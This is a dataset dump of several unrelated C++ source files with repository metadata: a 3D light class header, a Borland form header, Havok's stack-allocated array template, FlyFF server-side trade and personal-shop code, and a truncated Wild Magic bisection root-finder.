#pragma once #ifndef __LIGHT_H__ #define __LIGHT_H__ #include "base.h" #include "Utils/Object3D.h" #include "Activable.h" #include <XML/XMLTreeNode.h> #include "Named.h" // Forward declarations ------------- class CRenderManager; class CColor; class CEffect; //----------------------------------- class CLight : public CObject3D, public CNamed, public CBaseControl, public CActivable { public: enum TLightType { OMNI=0, DIRECTIONAL, SPOT }; public: CLight(const string& _name) : CNamed(_name), m_colColor(colWHITE), m_Type(OMNI), m_bRenderShadows(false), m_bDynamicObjectsOnly(false), m_fStartRangeAttenuation(0.0f), m_fEndRangeAttenuation(0.0f) {}; virtual ~CLight(){}; virtual void Init(CXMLTreeNode& _XMLParams); void SetColor(const CColor& _colColor) {m_colColor = _colColor;}; const CColor& GetColor() const {return m_colColor;}; void SetPosition(const Vect3f& _vPosition) {m_vPosition = _vPosition;}; Vect3f GetPosition() const {return m_vPosition;}; //void SetSpecular(float _fSpecular); //float GetSpecular() const; virtual bool UsesGeometryInDeferred() = 0; virtual void RenderDeferredLight(CRenderManager* _pRM, CEffect* _pGeometryEffect) {}; void SetStartRangeAttenuation(const float _fStartRangeAttenuation) {m_fStartRangeAttenuation = _fStartRangeAttenuation;}; float GetStartRangeAttenuation() const {return m_fStartRangeAttenuation;}; void SetEndRangeAttenuation(const float _fEndRangeAttenuation) {m_fEndRangeAttenuation = _fEndRangeAttenuation;}; float GetEndRangeAttenuation() const {return m_fEndRangeAttenuation;}; void SetRenderShadows(bool _bRenderShadows) {m_bRenderShadows = _bRenderShadows;}; bool GetRenderShadows() const {return m_bRenderShadows;}; void SetDynamicObjectsOnly(bool _bDynamicObjectsOnly) {m_bDynamicObjectsOnly = _bDynamicObjectsOnly;}; bool GetDynamicObjectsOnly() {return m_bDynamicObjectsOnly;}; void SetType(const TLightType _Type) {m_Type = _Type;}; TLightType GetType() const {return m_Type;}; void SetName(const string& _name) {CNamed::SetName(_name);}; virtual void Render(CRenderManager* _pRM) const = 0; protected: static TLightType GetLightTypeByName(const string& _szLightType); CColor m_colColor; //float m_fSpecular; TLightType m_Type; bool m_bRenderShadows; float m_fStartRangeAttenuation; float m_fEndRangeAttenuation; bool m_bDynamicObjectsOnly; }; #endif
[ "edual1985@576ee6d0-068d-96d9-bff2-16229cd70485", "mudarra@576ee6d0-068d-96d9-bff2-16229cd70485", "sergivalls@576ee6d0-068d-96d9-bff2-16229cd70485", "atridas87@576ee6d0-068d-96d9-bff2-16229cd70485", "Atridas87@576ee6d0-068d-96d9-bff2-16229cd70485" ]
[ [ [ 1, 6 ], [ 11, 14 ], [ 16, 16 ], [ 23, 24 ], [ 33, 33 ], [ 43, 43 ], [ 72, 72 ], [ 85, 87 ] ], [ [ 7, 7 ] ], [ [ 8, 9 ], [ 17, 17 ], [ 21, 22 ], [ 25, 32 ], [ 37, 40 ], [ 42, 42 ], [ 44, 46 ], [ 49, 51 ], [ 55, 66 ], [ 83, 84 ] ], [ [ 10, 10 ], [ 18, 20 ], [ 34, 36 ], [ 41, 41 ], [ 47, 48 ], [ 67, 71 ], [ 73, 82 ] ], [ [ 15, 15 ], [ 52, 54 ] ] ]
62b349b45a7b1a0e104565d41b12e7faeef735cf
252e638cde99ab2aa84922a2e230511f8f0c84be
/toollib/src/TripTimetableInfoForm.h
b21d1dc5dd05fd5f51ed9d66fbb6f8a30bd491c5
[]
no_license
openlab-vn-ua/tour
abbd8be4f3f2fe4d787e9054385dea2f926f2287
d467a300bb31a0e82c54004e26e47f7139bd728d
refs/heads/master
2022-10-02T20:03:43.778821
2011-11-10T12:58:15
2011-11-10T12:58:15
null
0
0
null
null
null
null
UTF-8
C++
false
false
1,673
h
//--------------------------------------------------------------------------- #ifndef TripTimetableInfoFormH #define TripTimetableInfoFormH //--------------------------------------------------------------------------- #include <Classes.hpp> #include <Controls.hpp> #include <StdCtrls.hpp> #include <Forms.hpp> #include "VStringStorage.h" #include <ComCtrls.hpp> #include <ExtCtrls.hpp> #include "ShortTimePicker.h" #include <Mask.hpp> //--------------------------------------------------------------------------- class TTourTripTimetableInfoForm : public TForm { __published: // IDE-managed Components TButton *SaveButton; TButton *CancelButton; TVStringStorage *VStringStorage; TLabel *InTimeLabel; TLabel *TimeOutLabel; TLabel *TimeWaitLabel; TShortTimePicker *TimeInShortTimePicker; TShortTimePicker *TimeWaitShortTimePicker; TShortTimePicker *TimeOutShortTimePicker; TCheckBox *WaitTimeEmptyCheckBox; void __fastcall TimeOutShortTimePickerTimeChange(TObject *Sender); void __fastcall TimeWaitShortTimePickerTimeChange(TObject *Sender); void __fastcall WaitTimeEmptyCheckBoxClick(TObject *Sender); void __fastcall TimeInShortTimePickerTimeChange(TObject *Sender); private: // User declarations public: // User declarations __fastcall TTourTripTimetableInfoForm(TComponent* Owner); }; //--------------------------------------------------------------------------- extern PACKAGE TTourTripTimetableInfoForm *TourTripTimetableInfoForm; //--------------------------------------------------------------------------- #endif
[ [ [ 1, 41 ] ] ]
4e59e4b4a6125edc5c491c6cbf1f7965c30d4093
0f8559dad8e89d112362f9770a4551149d4e738f
/Wall_Destruction/Havok/Source/Common/Base/Container/LocalArray/hkLocalArray.h
2da836d1fedcbebdebbddc79544dfbc81fda21a6
[]
no_license
TheProjecter/olafurabertaymsc
9360ad4c988d921e55b8cef9b8dcf1959e92d814
456d4d87699342c5459534a7992f04669e75d2e1
refs/heads/master
2021-01-10T15:15:49.289873
2010-09-20T12:58:48
2010-09-20T12:58:48
45,933,002
0
0
null
null
null
null
UTF-8
C++
false
false
3,046
h
/* * * Confidential Information of Telekinesys Research Limited (t/a Havok). Not for disclosure or distribution without Havok's * prior written consent. This software contains code, techniques and know-how which is confidential and proprietary to Havok. * Level 2 and Level 3 source code contains trade secrets of Havok. Havok Software (C) Copyright 1999-2009 Telekinesys Research Limited t/a Havok. All Rights Reserved. Use of this software is subject to the terms of an end user license agreement. * */ #ifndef HKBASE_HKLOCALARRAY_H #define HKBASE_HKLOCALARRAY_H /// A array class which uses hkMemory stack based allocations. /// Stack allocation patterns can be much faster than heap allocations. /// See the hkMemory/Frame based allocation user guide section. /// When an hkLocalArray grows beyond its original specified capacity, it /// falls back on heap allocations so it is important to specify a good /// initial capacity. /// hkLocalArray should almost always be a local variable in a /// method and almost never a member of an object. /// The array can handle both pod and non-pod types (see hkArray for more details). template <typename T> class hkLocalArray : public hkArray<T> { public: HK_DECLARE_NONVIRTUAL_CLASS_ALLOCATOR(HK_MEMORY_CLASS_ARRAY, hkLocalArray<T>); /// Create an array with zero size and given capacity. /// For maximum efficiency, the arrays capacity should never grow /// beyond the specified capacity. If it does, the array falls back /// to using heap allocations which is safe, but the speed advantage /// of using the stack based allocation methods is lost. HK_FORCE_INLINE hkLocalArray( int capacity ) { this->m_data = hkAllocateStack<T>(capacity); this->m_capacityAndFlags = capacity | hkArray<T>::DONT_DEALLOCATE_FLAG; m_localMemory = this->m_data; } HK_FORCE_INLINE void assertNotResized() { HK_ASSERT2(0x5f792e08, m_localMemory == this->m_data, "A localarray grew beyond its original specified capacity."); } HK_FORCE_INLINE hkBool wasReallocated() const { return m_localMemory != this->m_data; } /// Destroy the array. HK_FORCE_INLINE ~hkLocalArray() { if( !wasReallocated() ) { hkArray<T>::clear(); } hkDeallocateStack<T>( m_localMemory ); } T* m_localMemory; }; #endif // HKBASE_HKLOCALARRAY_H /* * Havok SDK - NO SOURCE PC DOWNLOAD, BUILD(#20091222) * * Confidential Information of Havok. (C) Copyright 1999-2009 * Telekinesys Research Limited t/a Havok. All Rights Reserved. The Havok * Logo, and the Havok buzzsaw logo are trademarks of Havok. Title, ownership * rights, and intellectual property rights in the Havok software remain in * Havok and/or its suppliers. * * Use of this software for evaluation purposes is subject to and indicates * acceptance of the End User licence Agreement for this product. A copy of * the license is included with this software and is also available at www.havok.com/tryhavok. * */
[ [ [ 1, 78 ] ] ]
334bf7f648fe6f8668951b6350095e9fe877504f
91b964984762870246a2a71cb32187eb9e85d74e
/SRC/OFFI SRC!/_Common/MoverItem.cpp
2dd3a68d12bcd2bdf9493ae55a49ad2fcf13430c
[]
no_license
willrebuild/flyffsf
e5911fb412221e00a20a6867fd00c55afca593c7
d38cc11790480d617b38bb5fc50729d676aef80d
refs/heads/master
2021-01-19T20:27:35.200154
2011-02-10T12:34:43
2011-02-10T12:34:43
32,710,780
3
0
null
null
null
null
UHC
C++
false
false
18,356
cpp
#include "stdafx.h" #include "mover.h" #include "defineText.h" #ifdef __WORLDSERVER #include "user.h" extern CUserMng g_UserMng; #endif // WORLDSERVER // pc, npc의 분리 // m_nCost삭제 // 거래 상대방을 얻는다. CMover* CVTInfo::GetOther() { // return m_pOther; if( m_objId == NULL_ID ) return NULL; return prj.GetMover( m_objId ); } // 거래 상대방을 정한다. void CVTInfo::SetOther( CMover* pMover ) { // m_pOther = pMover; if( pMover ) { m_objId = pMover->GetId(); } else { m_objId = NULL_ID; } } CItemBase* CVTInfo::GetItem( BYTE i ) { return m_apItem_VT[i]; } void CVTInfo::SetItem( BYTE i, CItemBase* pItemBase ) { m_apItem_VT[i] = pItemBase; } LPCTSTR CVTInfo::GetTitle() { return m_strTitle.c_str(); } void CVTInfo::SetTitle( LPCTSTR szTitle ) { m_strTitle = szTitle; } BOOL CVTInfo::IsVendorOpen() { return (m_strTitle.empty() != true); } void CVTInfo::Init( CMover* pOwner ) { m_pOwner = pOwner; ZeroMemory( m_apItem_VT, sizeof( m_apItem_VT ) ); TradeSetGold( 0 ); // raiders.2006.11.28 TradeClear(); m_strTitle = ""; } void CVTInfo::TradeClear() { SetOther( NULL ); int i; for( i = 0; i < MAX_TRADE; i++ ) { if( m_apItem_VT[i] ) { m_apItem_VT[i]->SetExtra( 0 ); m_apItem_VT[i] = NULL; } } #ifdef __WORLDSERVER // raiders.2006.11.28 인벤돈 = 인벤돈 + 내 거래창 돈 int nGold = TradeGetGold(); if( nGold > 0 && m_pOwner ) m_pOwner->AddGold( nGold ); // #endif TradeSetGold( 0 ); TradeSetState( TRADE_STEP_ITEM ); } void CVTInfo::TradeSetGold( DWORD dwGold ) { m_dwTradeGold = dwGold; } int CVTInfo::TradeGetGold() { return m_dwTradeGold; } void CVTInfo::TradeSetItem( BYTE nId, BYTE i, short nItemNum ) { CItemBase* pItemBase = m_pOwner->GetItemId( nId ); if( pItemBase ) { m_apItem_VT[i] = pItemBase; pItemBase->SetExtra( nItemNum ); } } BOOL CVTInfo::TradeClearItem( BYTE i ) { CItemBase* pItemBase = m_apItem_VT[i]; if( IsUsingItem( pItemBase ) ) { pItemBase->SetExtra( 0 ); // clear - using flag m_apItem_VT[i] = NULL; return TRUE; } else return FALSE; } //raiders.2006.11.28 계산과정 변경 ( 인벤돈 = 인벤돈 + 상대방 거래창 돈 ) BOOL CVTInfo::TradeConsent() { CMover* pTrader = GetOther(); if( pTrader == NULL ) return FALSE; int cbI = 0, cbYou = 0; CItemContainer<CItemElem> a; a.SetItemContainer( ITYPE_ITEM, MAX_TRADE ); CItemBase* pItemBase; int i; for( i = 0; i < MAX_TRADE; i++ ) { pItemBase = m_apItem_VT[i]; if( !pItemBase ) continue; m_apItem_VT[i] = NULL; CItemElem* pItemElem = ( CItemElem* )pItemBase; if( pItemElem->GetProp()->dwPackMax > 1 ) { short nTradeNum = pItemElem->m_nItemNum - (short)pItemBase->GetExtra(); pItemElem->m_nItemNum = pItemBase->GetExtra(); a.Add( pItemElem ); pItemElem->m_nItemNum = nTradeNum; pItemElem->SetExtra( 0 ); if( nTradeNum == 0 ) m_pOwner->m_Inventory.RemoveAtId( pItemBase->m_dwObjId ); // 제거 } else { a.Add( pItemElem ); m_pOwner->m_Inventory.RemoveAtId( pItemBase->m_dwObjId ); } } for( i = 0; i < MAX_TRADE; i++ ) { pItemBase = pTrader->m_vtInfo.GetItem( i ); if( pItemBase == NULL ) continue; pTrader->m_vtInfo.SetItem( i, NULL ); CItemElem* pItemElem = ( CItemElem* )pItemBase; if( pItemElem->GetProp()->dwPackMax > 1 ) { short nTradeNum = pItemElem->m_nItemNum - (short)pItemBase->GetExtra(); pItemElem->m_nItemNum = pItemBase->GetExtra(); m_pOwner->m_Inventory.Add( pItemElem ); pItemElem->m_nItemNum = nTradeNum; pItemElem->SetExtra( 0 ); if( nTradeNum == 0 ) pTrader->m_Inventory.RemoveAtId( pItemBase->m_dwObjId ); // 제거 } else { m_pOwner->m_Inventory.Add( pItemElem ); pTrader->m_Inventory.RemoveAtId( pItemBase->m_dwObjId ); } } cbI = a.GetCount(); for( i = 0; i < cbI; i++ ) { pItemBase = a.GetAtId( i ); pTrader->m_Inventory.Add( (CItemElem*)pItemBase ); } // step1. 줄돈과 뺄돈을 구해둔다. int nThisGold = pTrader->m_vtInfo.TradeGetGold(); int nTraderGold = TradeGetGold(); // step2. m_dwTradeGold를 clear TradeSetGold( 0 ); // 원복 안되게 TradeClear(); pTrader->m_vtInfo.TradeSetGold( 0 ); // 원복 안되게 pTrader->m_vtInfo.TradeClear(); // step3. 돈을 더한다. m_pOwner->AddGold( nThisGold, FALSE ); pTrader->AddGold( nTraderGold, FALSE ); return TRUE; } DWORD CVTInfo::TradeSetItem2( BYTE nId, BYTE i, short & nItemNum ) { CItemBase* pItemBase = m_pOwner->GetItemId( nId ); if( IsUsableItem( pItemBase ) == FALSE || m_apItem_VT[i] != NULL ) return (DWORD)TID_GAME_CANNOTTRADE_ITEM; if( m_pOwner->m_Inventory.IsEquip( pItemBase->m_dwObjId ) ) return (DWORD)TID_GAME_CANNOTTRADE_ITEM; if( ( (CItemElem*)pItemBase )->IsQuest() ) return (DWORD)TID_GAME_CANNOTTRADE_ITEM; if( ( (CItemElem*)pItemBase )->IsBinds() ) return (DWORD)TID_GAME_CANNOTTRADE_ITEM; if( m_pOwner->IsUsing( (CItemElem*)pItemBase ) ) return (DWORD)TID_GAME_CANNOT_DO_USINGITEM; if( pItemBase->GetProp()->dwItemKind3 == IK3_CLOAK && ( (CItemElem*)pItemBase )->m_idGuild != 0 ) return (DWORD)TID_GAME_CANNOTTRADE_ITEM; if( pItemBase->GetProp()->dwParts == PARTS_RIDE && pItemBase->GetProp()->dwItemJob == JOB_VAGRANT ) return (DWORD)TID_GAME_CANNOTTRADE_ITEM; if( nItemNum < 1) nItemNum = 1; if( nItemNum > ( (CItemElem*)pItemBase )->m_nItemNum ) nItemNum = ( (CItemElem*)pItemBase )->m_nItemNum; TradeSetItem( nId, i, nItemNum ); return 0; } void TradeLog( CAr & ar, CItemBase* pItemBase, short nItemCount ) { ar << nItemCount; ar << ( (CItemElem*)pItemBase )->GetAbilityOption(); ar << int(( (CItemElem*)pItemBase )->m_bItemResist); ar << int(( (CItemElem*)pItemBase )->m_nResistAbilityOption); ar << ( (CItemElem*)pItemBase )->m_nHitPoint; ar << ( (CItemElem*)pItemBase )->m_nRepair; ar << ( (CItemElem*)pItemBase )->m_bCharged; ar << ( (CItemElem*)pItemBase )->m_dwKeepTime; #if __VER >= 12 // __EXT_PIERCING ar << ( (CItemElem*)pItemBase )->GetPiercingSize(); int i; for( i=0; i<( (CItemElem*)pItemBase )->GetPiercingSize(); i++ ) ar << ( (CItemElem*)pItemBase )->GetPiercingItem( i ); ar << ( (CItemElem*)pItemBase )->GetUltimatePiercingSize(); for( i=0; i<( (CItemElem*)pItemBase )->GetUltimatePiercingSize(); i++ ) ar << ( (CItemElem*)pItemBase )->GetUltimatePiercingItem( i ); #else // __EXT_PIERCING ar << ( (CItemElem*)pItemBase )->GetPiercingSize(); ar << ( (CItemElem*)pItemBase )->GetPiercingItem( 0 ); ar << ( (CItemElem*)pItemBase )->GetPiercingItem( 1 ); ar << ( (CItemElem*)pItemBase )->GetPiercingItem( 2 ); ar << ( (CItemElem*)pItemBase )->GetPiercingItem( 3 ); #if __VER >= 9 // __ULTIMATE ar << ( (CItemElem*)pItemBase )->GetPiercingItem( 4 ); #endif // __ULTIMATE #endif // __EXT_PIERCING ar << ( (CItemElem*)pItemBase )->GetRandomOptItemId(); #if __VER >= 9 // __PET_0410 if( ((CItemElem*)pItemBase)->m_pPet ) { CPet* pPet = ((CItemElem*)pItemBase)->m_pPet; ar << pPet->GetKind(); ar << pPet->GetLevel(); ar << pPet->GetExp(); ar << pPet->GetEnergy(); ar << pPet->GetLife(); ar << pPet->GetAvailLevel( PL_D ); ar << pPet->GetAvailLevel( PL_C ); ar << pPet->GetAvailLevel( PL_B ); ar << pPet->GetAvailLevel( PL_A ); ar << pPet->GetAvailLevel( PL_S ); } else { // mirchang_100514 TransformVisPet_Log #if __VER >= 15 // __PETVIS if( ((CItemElem*)pItemBase)->IsTransformVisPet() == TRUE ) { ar << (BYTE)100; } else { ar << (BYTE)0; } #else // __PETVIS ar << (BYTE)0; #endif // __PETVIS // mirchang_100514 TransformVisPet_Log ar << (BYTE)0; ar << (DWORD)0; ar << (WORD)0; ar << (WORD)0; ar << (BYTE)0; ar << (BYTE)0; ar << (BYTE)0; ar << (BYTE)0; ar << (BYTE)0; } #endif // __PET_0410 } // nMinus - 나갈 돈 // nPlus - 들어올 돈 BOOL CheckTradeGold( CMover* pMover, int nMinus, int nPlus ) { if( nMinus >= 0 ) { if( pMover->GetGold() >= nMinus ) { int nGold = pMover->GetGold() - nMinus; int nResult = nGold + nPlus; if( nPlus >= 0 ) { if( nResult >= nGold ) // overflow가 아니면? return TRUE; } else { if( nResult >= 0 ) // underflow가 아니면? return TRUE; } } } return FALSE; } //raiders.2006.11.28 계산과정 변경 //로그와 체크를 때어내면 클라와 같다. 통합해서 refactoring하자. TRADE_CONFIRM_TYPE CVTInfo::TradeLastConfirm( CAr & ar ) { TRADE_CONFIRM_TYPE result = TRADE_CONFIRM_ERROR; CMover* pTrader = GetOther(); // gold_step1. GetGold(), AddGold() 함수가 원하는데로 동작되도록 보관 후에 clear해둔다. int nTraderGold = pTrader->m_vtInfo.TradeGetGold(); int nUserGold = TradeGetGold(); // gold_step2. 줄돈과 뺄돈을 구해둔다. int nThisAdd = nTraderGold; int nTraderAdd = nUserGold; // gold_step3. overflow를 검사 if( CheckTradeGold( m_pOwner, 0, nTraderGold ) == FALSE || CheckTradeGold( pTrader, 0, nUserGold ) == FALSE ) { TradeClear(); pTrader->m_vtInfo.TradeClear(); return result; } // 교환 할 만큼 양쪽의 인벤토리 슬롯이 여유가 있는 지를 검사한다. int nPlayers = 0; int nTraders = 0; int i; for( i = 0; i < MAX_TRADE; i++ ) { if( GetItem( i ) ) nPlayers++; if( pTrader->m_vtInfo.GetItem( i ) ) nTraders++; } if( ( pTrader->m_Inventory.GetSize() - pTrader->m_Inventory.GetCount() ) < nPlayers ) result = TRADE_CONFIRM_ERROR; else if( ( m_pOwner->m_Inventory.GetSize() - m_pOwner->m_Inventory.GetCount() ) < nTraders ) result = TRADE_CONFIRM_ERROR; else result = TRADE_CONFIRM_OK; if( result == TRADE_CONFIRM_OK ) { CItemContainer<CItemElem> u; u.SetItemContainer( ITYPE_ITEM, MAX_TRADE ); // gold_step4. 돈을 더한다. m_pOwner->AddGold( nThisAdd, FALSE ); pTrader->AddGold( nTraderAdd, FALSE ); // TradeClear에서 원복이 안되기 위해서 pTrader->m_vtInfo.TradeSetGold( 0 ); TradeSetGold( 0 ); ar.WriteString( "T" ); ar.WriteString( pTrader->GetName() ); ar.WriteString( m_pOwner->GetName() ); ar << m_pOwner->GetWorld()->GetID(); ar << nTraderGold << nUserGold; ar << pTrader->GetGold() << m_pOwner->GetGold(); ar << m_pOwner->m_idPlayer << m_pOwner->GetLevel() << m_pOwner->GetJob(); ar << pTrader->m_idPlayer << pTrader->GetLevel() << pTrader->GetJob(); #ifdef __WORLDSERVER ar.WriteString( ( (CUser*)m_pOwner )->m_playAccount.lpAddr ); ar.WriteString( ( (CUser*)pTrader )->m_playAccount.lpAddr ); #endif // __WORLDSERVER u_long uSize1 = 0; u_long uOffset1 = ar.GetOffset(); ar << (DWORD)0; u_long uSize2 = 0; u_long uOffset2 = ar.GetOffset(); ar << (DWORD)0; // item_step1. m_pOwner->임시 CItemBase* pItemBase; int i; for( i = 0; i < MAX_TRADE; i++ ) { pItemBase = m_apItem_VT[i]; if( pItemBase == NULL ) continue; m_apItem_VT[i] = NULL; CItemElem* pItemElem = ( CItemElem* )pItemBase; if( pItemElem->GetProp()->dwPackMax > 1 ) { short nTradeNum = pItemElem->m_nItemNum - pItemBase->GetExtra(); pItemElem->m_nItemNum = pItemBase->GetExtra(); u.Add( pItemElem ); pItemElem->m_nItemNum = nTradeNum; pItemElem->SetExtra( 0 ); if( nTradeNum == 0 ) m_pOwner->m_Inventory.RemoveAtId( pItemBase->m_dwObjId ); // 제거 } else { u.Add( pItemElem ); // 임시 버퍼에 추가 m_pOwner->m_Inventory.RemoveAtId( pItemBase->m_dwObjId ); // 제거 } } // item_step2. pTrader -> m_pOwner for( i = 0; i < MAX_TRADE; i++ ) { pItemBase = pTrader->m_vtInfo.GetItem( i ); if( pItemBase == NULL ) continue; pTrader->m_vtInfo.SetItem( i, NULL ); uSize1++; ar << pItemBase->m_dwItemId; ar << pItemBase->GetSerialNumber(); //ar.WriteString( pItemBase->GetProp()->szName ); char szItemId[32] = {0, }; _stprintf( szItemId, "%d", pItemBase->GetProp()->dwID ); ar.WriteString( szItemId ); CItemElem* pItemElem = ( CItemElem* )pItemBase; if( pItemElem->GetProp()->dwPackMax > 1 ) { int nTradeNum = pItemElem->m_nItemNum - pItemBase->GetExtra(); pItemElem->m_nItemNum = pItemBase->GetExtra(); m_pOwner->m_Inventory.Add( pItemElem ); pItemElem->m_nItemNum = (short)nTradeNum; TradeLog( ar, pItemBase, pItemBase->GetExtra() ); pItemElem->SetExtra( 0 ); if( nTradeNum == 0 ) pTrader->m_Inventory.RemoveAtId( pItemBase->m_dwObjId ); } else { TradeLog( ar, pItemBase, 1 ); m_pOwner->m_Inventory.Add( pItemElem ); // pUser에 pTrader가 준 아이템을 추가 pTrader->m_Inventory.RemoveAtId( pItemBase->m_dwObjId ); } } // item_step3. 임시 -> pTrader nPlayers = u.GetCount(); // 합침을 고려해서 구해둔다. for( i = 0; i < nPlayers; i++ ) { pItemBase = u.GetAtId( i ); pTrader->m_Inventory.Add( (CItemElem*)pItemBase ); uSize2++; ar << pItemBase->m_dwItemId; ar << pItemBase->GetSerialNumber(); //ar.WriteString( pItemBase->GetProp()->szName ); char szItemId[32] = {0, }; _stprintf( szItemId, "%d", pItemBase->GetProp()->dwID ); ar.WriteString( szItemId ); TradeLog( ar, pItemBase, ((CItemElem*)pItemBase)->m_nItemNum ); } // GETBLOCK( ar, lpBlock, nBlockSize ); int nBufSize; LPBYTE lpBlock = ar.GetBuffer( &nBufSize ); *(UNALIGNED u_long*)( lpBlock + uOffset1 ) = uSize1; *(UNALIGNED u_long*)( lpBlock + uOffset2 ) = uSize2; } TradeClear(); pTrader->m_vtInfo.TradeClear(); return result; } TRADE_STATE CVTInfo::TradeGetState() { return m_state; } void CVTInfo::TradeSetState( TRADE_STATE state ) { m_state = state; } /////////////////////////////////////////////////////////////////////////////// // 개인상점 /////////////////////////////////////////////////////////////////////////////// //void CDPClient::OnUnregisterPVendorItem( OBJID objid, CAr & ar ) BOOL CVTInfo::VendorClearItem( BYTE i ) { CItemBase* pItemBase = m_apItem_VT[i]; if( pItemBase ) { pItemBase->SetExtra( 0 ); pItemBase->m_nCost = 0; m_apItem_VT[i] = NULL; return TRUE; } else { return FALSE; } } // void CDPClient::OnRegisterPVendorItem( OBJID objid, CAr & ar ) void CVTInfo::VendorSetItem( BYTE nId, BYTE i, short nNum, int nCost ) { CItemBase* pItemBase = m_pOwner->GetItemId( nId ); if( pItemBase ) { m_apItem_VT[i] = pItemBase; pItemBase->SetExtra( nNum ); pItemBase->m_nCost = nCost; } } //void CDPClient::OnPVendorItemNum( OBJID objid, CAr & ar ) // nNum - 남은 갯수 void CVTInfo::VendorItemNum( BYTE i, short nNum ) { CItemBase* pItemBase = m_apItem_VT[i]; if( pItemBase ) { pItemBase->SetExtra( nNum ); if( nNum == 0 ) { #ifdef __CLIENT if( m_pOwner->IsActiveMover() == FALSE ) SAFE_DELETE( m_apItem_VT[i] ); #endif m_apItem_VT[i] = NULL; } } } // 데이타 카피를 해서 보관? // void CDPClient::OnPVendorItem( OBJID objid, CAr & ar ) void CVTInfo::VendorCopyItems( CItemBase** ppItemVd ) { memcpy( (void*)m_apItem_VT, ppItemVd, sizeof(m_apItem_VT) ); } void CVTInfo::VendorClose( BOOL bClearTitle ) { int i; for( i = 0; i < MAX_VENDITEM; i++ ) { if( m_apItem_VT[i] ) { m_apItem_VT[i]->SetExtra( 0 ); m_apItem_VT[i]->m_nCost = 0; #ifdef __CLIENT if( FALSE == m_pOwner->IsActiveMover() ) SAFE_DELETE( m_apItem_VT[i] ); #endif // __CLIENT m_apItem_VT[i] = NULL; } } if( bClearTitle ) m_strTitle = ""; SetOther( NULL ); } // 나는 판매자 인가? BOOL CVTInfo::VendorIsVendor() { for( int i=0; i<MAX_VENDITEM; ++i ) { if( m_apItem_VT[i] ) // 등록한 아이템이 있는가? return TRUE; } return FALSE; } BOOL CVTInfo::IsTrading( CItemElem* pItemElem ) { int i; for( i = 0; i < MAX_VENDITEM; i++ ) { if( m_apItem_VT[i] == pItemElem ) return TRUE; } return FALSE; } //CDPSrvr::OnBuyPVendorItem #ifdef __WORLDSERVER BOOL CVTInfo::VendorSellItem( CMover* pBuyer, BYTE i, DWORD dwItemId, short nNum, VENDOR_SELL_RESULT& result ) { result.nRemain = 0; result.nErrorCode = 0; if( IsVendorOpen() == FALSE ) return FALSE; CItemBase* pItemBase = m_apItem_VT[i]; if( IsUsingItem( pItemBase ) == FALSE || pItemBase->m_dwItemId != dwItemId ) return FALSE; if( nNum < 1 ) nNum = 1; if( nNum > pItemBase->GetExtra() ) nNum = (short)pItemBase->GetExtra(); // 06.10.26 if( pItemBase->m_nCost > 0 && (float)pBuyer->GetGold() < (float)nNum * (float)pItemBase->m_nCost ) { #if __VER >= 8 // __S8_VENDOR_REVISION result.nErrorCode = TID_GAME_LACKMONEY; return FALSE; #else // __VER >= 8 // __S8_VENDOR_REVISION nNum = (short)( pBuyer->GetGold() / pItemBase->m_nCost ); #endif // __VER >= 8 // __S8_VENDOR_REVISION } if( nNum == 0 ) { result.nErrorCode = TID_GAME_LACKMONEY; return FALSE; } CItemElem* pItemElem = (CItemElem*)pItemBase; CItemElem itemElem; itemElem = *pItemElem; itemElem.m_nItemNum = nNum; if( pBuyer->CreateItem( &itemElem ) == FALSE ) { result.nErrorCode = TID_GAME_LACKSPACE; return FALSE; } // CItemElem의 복사 연산자에 m_nCost는 제외되어 있다. int nCost = pItemBase->m_nCost; pBuyer->AddGold( -( pItemBase->m_nCost * nNum ) ); m_pOwner->AddGold( pItemBase->m_nCost * nNum ); pItemBase->SetExtra( pItemBase->GetExtra() - nNum ); int nRemain = pItemBase->GetExtra(); if( nRemain <= 0 ) m_apItem_VT[i] = NULL; #if __VER >= 11 // __MOD_VENDOR #ifdef __WORLDSERVER g_UserMng.AddPVendorItemNum( (CUser*)m_pOwner, i, nRemain, pBuyer->GetName() ); #endif // __WORLDSERVER #endif // __MOD_VENDOR m_pOwner->RemoveItem( (BYTE)pItemBase->m_dwObjId, nNum ); result.item = itemElem; result.item.m_nCost = nCost; result.nRemain = nRemain; return TRUE; } #endif // __WORLDSERVER
[ "[email protected]@e2c90bd7-ee55-cca0-76d2-bbf4e3699278" ]
[ [ [ 1, 706 ] ] ]
89b848451b7cb4c4a1283dee2e4baafbdd419e7d
33f59b1ba6b12c2dd3080b24830331c37bba9fe2
/Depend/Foundation/NumericalAnalysis/Wm4Bisect3.cpp
0566b56d0e07fced72b3db6a1c082487db833220
[]
no_license
daleaddink/flagship3d
4835c223fe1b6429c12e325770c14679c42ae3c6
6cce5b1ff7e7a2d5d0df7aa0594a70d795c7979a
refs/heads/master
2021-01-15T16:29:12.196094
2009-11-01T10:18:11
2009-11-01T10:18:11
37,734,654
1
0
null
null
null
null
UTF-8
C++
false
false
16,312
cpp
// Geometric Tools, Inc. // http://www.geometrictools.com // Copyright (c) 1998-2006. All Rights Reserved // // The Wild Magic Version 4 Foundation Library source code is supplied // under the terms of the license agreement // http://www.geometrictools.com/License/Wm4FoundationLicense.pdf // and may not be copied or disclosed except in accordance with the terms // of that agreement. #include "Wm4FoundationPCH.h" #include "Wm4Bisect3.h" #include "Wm4Math.h" namespace Wm4 { //---------------------------------------------------------------------------- template <class Real> Bisect3<Real>::Bisect3 (Function oF, Function oG, Function oH, int iMaxLevel, Real fTolerance) { m_oF = oF; m_oG = oG; m_oH = oH; m_iMaxLevel = iMaxLevel; m_iLevel = 0; m_fTolerance = fTolerance; } //---------------------------------------------------------------------------- template <class Real> bool Bisect3<Real>::ZeroTest (Real fX, Real fY, Real fZ, Real& rfF, Real& rfG, Real& rfH, Real& rfXRoot, Real& rfYRoot, Real& rfZRoot) { rfF = m_oF(fX,fY,fZ); rfG = m_oG(fX,fY,fZ); rfH = m_oH(fX,fY,fZ); if (Math<Real>::FAbs(rfF) <= m_fTolerance && Math<Real>::FAbs(rfG) <= m_fTolerance && Math<Real>::FAbs(rfH) <= m_fTolerance) { rfXRoot = fX; rfYRoot = fY; rfZRoot = fZ; m_iLevel--; return true; } return false; } //---------------------------------------------------------------------------- template <class Real> typename Bisect3<Real>::BisectNode* Bisect3<Real>::AddNode (Real fX, Real fY, Real fZ, Real fF, Real fG, Real fH) { BisectNode* pkTemp = WM4_NEW BisectNode; pkTemp->X = fX; pkTemp->Y = fY; pkTemp->Z = fZ; pkTemp->F = fF; pkTemp->G = fG; pkTemp->H = fH; return pkTemp; } //---------------------------------------------------------------------------- template <class Real> bool Bisect3<Real>::Bisect (Real fX0, Real fY0, Real fZ0, Real fX1, Real 